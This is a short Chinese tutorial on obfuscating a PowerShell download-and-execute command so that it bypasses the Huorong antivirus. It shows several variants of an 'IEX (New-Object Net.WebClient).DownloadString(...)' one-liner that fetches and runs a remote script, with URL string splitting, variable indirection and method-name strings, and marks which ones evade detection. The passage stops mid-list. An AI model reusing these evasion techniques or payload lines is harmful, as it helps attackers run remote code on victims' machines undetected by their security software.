powershell命令语句混淆免杀（bypass火绒）_iex (new-object system.net.webclient)

基础混淆

原始语句（不免杀）
powershell “IEX (New-Object System.Net.WebClient).DownloadString(‘http://127.0.0.1/a.ps1’)"

AV：火绒

混淆测试
New-Object System.Net 类可以直接替换成 New-Object Net 类（不免杀）

powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/a.ps1')"
1

对于 DownloadString 函数中的 URL 字符串可以采用直接拼接的方式进行组合和拆分（不免杀）

powershll "IEX (New-Object Net.WebClient).DownloadString('ht'+'tp://127.0.0.1/a.ps1')"
1

定义一个变量，其值赋为New-Object（免杀）

powershell "$w=(New-Object Net.WebClient);IEX $w.DownloadString('ht'+'tp://127.0.0.1/a.ps1')"
1

用字符串DownloadString替换 DownloadString()函数（免杀）

powershell "IEX (New-Object Net.WebClient).('DownloadString')('h'+'ttp://127.0.0.1/a.ps1')"
1

使用 Invoke 调用方法（免杀）